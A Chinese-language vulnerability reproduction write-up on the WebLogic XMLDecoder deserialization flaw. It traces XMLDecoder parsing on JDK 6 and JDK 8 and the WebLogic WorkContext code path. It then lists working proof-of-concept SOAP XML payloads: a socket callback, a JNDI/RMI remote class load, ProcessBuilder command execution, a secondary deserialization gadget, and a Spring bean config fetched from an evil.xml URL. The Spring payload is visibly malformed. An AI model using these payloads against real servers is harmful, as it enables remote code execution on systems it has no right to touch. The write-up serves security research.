weblogic_xmldecoder复现

实际上这篇文章难产了很久,反正就是前前后后摸了很久,这个洞感觉下来就是jdk的xmldecoder无限制的反序列化导致的代码执行。值得一提的是jdk的xmldecoder反序列化的处理方式在jdk6以下和6以后是不同的,这点不同导致很多8下可行的绕过方式没法在6下利用,所以分析处理流程时,本文会分版本讨论。

前言

实际上这篇文章难产了很久,反正就是前前后后摸了很久,这个洞感觉下来就是jdk的xmldecoder无限制的反序列化导致的代码执行。值得一提的是jdk的xmldecoder反序列化的处理方式在jdk6以下和6以后是不同的,这点不同导致很多8下可行的绕过方式没法在6下利用,所以分析处理流程时,本文会分版本讨论。

xml decoder反序列化处理流程

jdk8下的处理流程

8下的xmldecoder的反序列化流程较为清晰,也较为典型。

基本上就是从XMLDocumentFragmentScannerImplscanDocument方法开始,该方法实现的xml反序列化过程是一套有限自动机。主要关注点是3个状态,startElement,endElement,还有中间状态。

  • startElement:在遇到节点起始标签是起作用,解析一个节点先是解析节点的类型,并按照节点的类型调用elementHandler,设置完后依次放入解析属性并放入当前节点对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    ElementHandler var5 = this.handler;

    try {
    this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
    this.handler.setOwner(this);
    this.handler.setParent(var5);
    } catch (Exception var10) {
    throw new SAXException(var10);
    }

    for(int var6 = 0; var6 < var4.getLength(); ++var6) {
    try {
    //设置attr的名称和值
    String var7 = var4.getQName(var6);
    String var8 = var4.getValue(var6);
    this.handler.addAttribute(var7, var8);
    } catch (RuntimeException var9) {
    this.handleException(var9);
    }
    }

    this.handler.startElement();
  • endElement:在遇到节点闭合时起作用,作用一般有二,首先,是表达式栈中的表达式弹出,然后执行表达式并将执行结果重新入栈,该操作一般使用getValueObject方法来实现。其次,它判断当前节点和上级节点的关系,将当前节点作为上级节点的参数或者其他。

  • 创建对象的操作一般通过将表达式的方法名设置为new来实现,需要指出的是new方法实例化对象实际上是借助了newInstance方法,也就是说实例化的类必须有一个无参数构造器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
if (this.field != null) {
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
} else if (this.idref != null) {
return ValueObjectImpl.create(this.getVariable(this.idref));
} else {
Object var3 = this.getContextBean();
String var4;
if (this.index != null) {
var4 = var2.length == 2 ? "set" : "get";
} else if (this.property != null) {
var4 = var2.length == 1 ? "set" : "get";
if (0 < this.property.length()) {
var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
}
} else {
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}

Expression var5 = new Expression(var3, var4, var2);
return ValueObjectImpl.create(var5.getValue());
}
}
  • 中间流程:节点和节点之间的换行空格是会被忽略的,并不影响解析结果。
  • 不同类型的节点解析依赖不同的elementHandler,这是Handler的继承关系,其中NewElementHandler节点结束时会创建对象或者执行方法,AccessorElementHandler能够设置或者访问当前对象的属性。

image-20210104192017335

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public DocumentHandler() {
this.setElementHandler("java", JavaElementHandler.class);
this.setElementHandler("null", NullElementHandler.class);
this.setElementHandler("array", ArrayElementHandler.class);
this.setElementHandler("class", ClassElementHandler.class);
this.setElementHandler("string", StringElementHandler.class);
this.setElementHandler("object", ObjectElementHandler.class);
this.setElementHandler("void", VoidElementHandler.class);
this.setElementHandler("char", CharElementHandler.class);
this.setElementHandler("byte", ByteElementHandler.class);
this.setElementHandler("short", ShortElementHandler.class);
this.setElementHandler("int", IntElementHandler.class);
this.setElementHandler("long", LongElementHandler.class);
this.setElementHandler("float", FloatElementHandler.class);
this.setElementHandler("double", DoubleElementHandler.class);
this.setElementHandler("boolean", BooleanElementHandler.class);
this.setElementHandler("new", NewElementHandler.class);
this.setElementHandler("var", VarElementHandler.class);
this.setElementHandler("true", TrueElementHandler.class);
this.setElementHandler("false", FalseElementHandler.class);
this.setElementHandler("field", FieldElementHandler.class);
this.setElementHandler("method", MethodElementHandler.class);
this.setElementHandler("property", PropertyElementHandler.class);
}

jdk6下的处理流程

jdk6下的基本流程是可以走得通的,但是有一大票标签都没法用了,这里提一下,后面所有的复现环境都在jdk7下进行。

简单地来说,new和property标签都没法打,相当多绕过的payload都没法用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
public void startElement(String var1, AttributeList var2) throws SAXException {
var1 = var1.intern();
if (this.isString) {
this.parseCharCode(var1, this.getAttributes(var2));
} else {
this.chars.setLength(0);
HashMap var3 = this.getAttributes(var2);
MutableExpression var4 = new MutableExpression();
String var5 = (String)var3.get("class");
if (var5 != null) {
var4.setTarget(this.classForName2(var5));
}

Object var6 = var3.get("property");
String var7 = (String)var3.get("index");
if (var7 != null) {
var6 = new Integer(var7);
var4.addArg(var6);
}

var4.setProperty(var6);
String var8 = (String)var3.get("method");
if (var8 == null && var6 == null) {
var8 = "new";
}

var4.setMethodName(var8);
String var11;
String var14;
if (var1 == "string") {
var4.setTarget(String.class);
var4.setMethodName("new");
this.isString = true;
} else if (this.isPrimitive(var1)) {
Class var9 = typeNameToClass(var1);
var4.setTarget(var9);
var4.setMethodName("new");
this.parseCharCode(var1, var3);
} else if (var1 == "class") {
var4.setTarget(Class.class);
var4.setMethodName("forName");
} else if (var1 == "null") {
var4.setTarget(Object.class);
var4.setMethodName("getSuperclass");
var4.setValue((Object)null);
} else if (var1 == "void") {
if (var4.getTarget() == null) {
var4.setTarget(this.eval());
}
} else if (var1 == "array") {
var14 = (String)var3.get("class");
Class var10 = var14 == null ? Object.class : this.classForName2(var14);
var11 = (String)var3.get("length");
if (var11 != null) {
var4.setTarget(Array.class);
var4.addArg(var10);
var4.addArg(new Integer(var11));
} else {
Class var12 = Array.newInstance(var10, 0).getClass();
var4.setTarget(var12);
}
} else if (var1 == "java") {
var4.setValue(this.is);
} else if (var1 != "object") {
this.simulateException("Unrecognized opening tag: " + var1 + " " + this.attrsToString(var2));
return;
}

var14 = (String)var3.get("id");
if (var14 != null) {
this.environment.put(var14, var4);
}

String var13 = (String)var3.get("idref");
if (var13 != null) {
var4.setValue(this.lookup(var13));
}

var11 = (String)var3.get("field");
if (var11 != null) {
var4.setValue(this.getFieldValue(var4.getTarget(), var11));
}

this.expStack.add(var4);
}
}

通常而言,尽管6的标签较少但是,6的解析较为宽松。

漏洞分析

环境

使用A-Team的weblogic环境,jdk7u21,weblogic 10.3.6,idea远程调试,docker开放端口7001和8453。

具体调试主要参考了idea+docker的调试步骤,建议导入jar包和war包,war包中的web.xml文件记录了路由和servlet对应的关系。

漏洞点分析

  1. 使用vulhub给出的poc,然后直接在java.lang.ProcessBuilderstart方法下断点,记录从xmldecoder.readObject开始的调用堆栈。

image-20210105190018896

  1. 该漏洞的主要成因是使用weblogic原生的servlet来处理soap请求,在原生servlet中使用xmldecoder来直接解析输入的xml内容最终导致反序列化。(这里直接使用WebService注解绑定)

    image-20210105194524695

  2. HttpAdapter.HttpToolkithandler方法用于提取http数据包中的xml内容。

    1
    packet = HttpAdapter.this.decodePacket(con, this.codec);
  3. WorkContextServerTubeprocessRequest方法将soap请求中WorkContext并将内容送入readHeaderOld方法

    image-20210105201244314

  4. readHeaderOld方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    protected void readHeaderOld(Header var1) {
    try {
    XMLStreamReader var2 = var1.readHeader();
    var2.nextTag();
    var2.nextTag();
    XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
    ByteArrayOutputStream var4 = new ByteArrayOutputStream();
    XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
    var3.bridge(var2, var5);
    var5.close();
    WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
    this.receive(var6);
    } catch (XMLStreamException var7) {
    throw new WebServiceException(var7);
    } catch (IOException var8) {
    throw new WebServiceException(var8);
    }
    }

    其中的WorkContextXmlInputAdapter构造方法

    1
    2
    3
    public WorkContextXmlInputAdapter(InputStream var1) {
    this.xmlDecoder = new XMLDecoder(var1);
    }
  5. readObject的触发点

    • WorkContextLocalMap

      image-20210105201826298

    • WorkContextEntryImpl

      image-20210105201921804

    • WorkContextXmlInputAdapter

      image-20210105202004223

poc分析

poc并不能直接打,要自己加上soap结构。

  1. socket,使用socket类直接调用响应构造器。

    1
    2
    3
    4
    5
    6
    <java>
    <object class="java.net.Socket">
    <string>10.211.55.2</string>
    <int>8881</int>
    </object>
    </java>
    1
    2
    3
    4
    5
    6
    7
    public Socket(String host, int port)
    throws UnknownHostException, IOException
    {
    this(host != null ? new InetSocketAddress(host, port) :
    new InetSocketAddress(InetAddress.getByName(null), port),
    (SocketAddress) null, true);
    }

    远程nc监听看到来自本机的连接即可。

  2. jndi

    java原生类jndi的利用方式,因为autoCommit是私有属性,所以如果设置属性就会调用setAutoCommit方法,触发connectDataSource.lookup方法加载远程工厂类。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <java>
    <void class="com.sun.rowset.JdbcRowSetImpl">
    <void property="dataSourceName">
    <string>rmi://10.211.55.2:1099/Foo</string>
    </void>
    <void property="autoCommit">
    <boolean>true</boolean>
    </void>
    </void>

    </java>
  3. 命令执行

    有两种,一种是调用processBuilder,另外一种是调用weblogic.nodemanager.client.ShellClient

    • processBuilder

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      <?xml version="1.0" encoding="UTF-8"?>
      <java version="1.8.0" class="java.beans.XMLDecoder">
      <void class="java.lang.ProcessBuilder">
      <array class="java.lang.String" length="2">
      <void index="0">
      <string>open</string>
      </void>
      <void index="1">
      <string>/Applications/Calculator.app/</string>
      </void>
      </array>

      <void method="start"/>
      </void>
      </java>
    • ShellClient的poc需要设置一个属性domainName,不然没法过checkConnected

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      public synchronized String getVersion() throws IOException {
      this.checkConnected(false);
      this.execCmd(Command.VERSION);

      String var1;
      String var2;
      for(var2 = null; (var1 = this.readLine()) != null; var2 = var1) {
      }

      this.checkResponse();
      return var2;
      }

      private void execCmd(Command var1) throws IOException {
      String[] var2 = this.getCommandLine(var1, this.shellCommand);
      if (this.verbose) {
      this.stdout.println("DEBUG: ShellClient: Executing shell command: " + StringUtils.join(var2, " "));
      }

      this.proc = Runtime.getRuntime().exec(var2);
      this.errDrainer = new ShellClient.ErrDrainer(this.proc.getErrorStream());
      this.errDrainer.start();
      }
  1. 二次反序列化

    还是两种,分10和12的类,原理都差不多就记录一个。

    • oracle.toplink.internal.sessions.UnitOfWorkChangeSet
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <java version="1.6.0" class="java.beans.XMLDecoder">
    <void class="oracle.toplink.internal.sessions.UnitOfWorkChangeSet">
    <void><array class="byte" length="3104">
    <void index="0">
    <byte>-84</byte>
    ...
    </void>
    </array>
    </void>
    </void>
    </java>
    1
    2
    3
    4
    5
    6
    public UnitOfWorkChangeSet(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream byteIn = new ByteArrayInputStream(bytes);
    ObjectInputStream objectIn = new ObjectInputStream(byteIn);
    this.allChangeSets = (IdentityHashtable)objectIn.readObject();
    this.deletedObjects = (IdentityHashtable)objectIn.readObject();
    }

    这里可以直接用jdk的链打回显,个人觉得效果会好些。

  2. 利用bean xml

    加载spring bean的配置文件。

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" encoding="UTF-8"?>
    <void class+"com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext">
    <void>
    <string>http://127.0.0.1:8881/evil.xml</string>
    </void>
    </class>
    </java>

检测和利用的思考

  1. 回显检测

    有两个思路,实际上如果反序列化成功会回显ProcessBuilder子类的字段,直接匹配就好,另一个就是利用二次反序列化,加载恶意类修改response,写入命令执行结果即可。

总结

这个洞的流程还是比较简单的,主要就是弄清楚xmlDecoder的解析流程之后,soap的几个字段之后,再debug就好理解了,具体的利用还是要结合java中各种常规思路比如二次反序列化,原生链的jndi之类的,找个时间好好写写补丁绕过的部分,感觉是很有意思。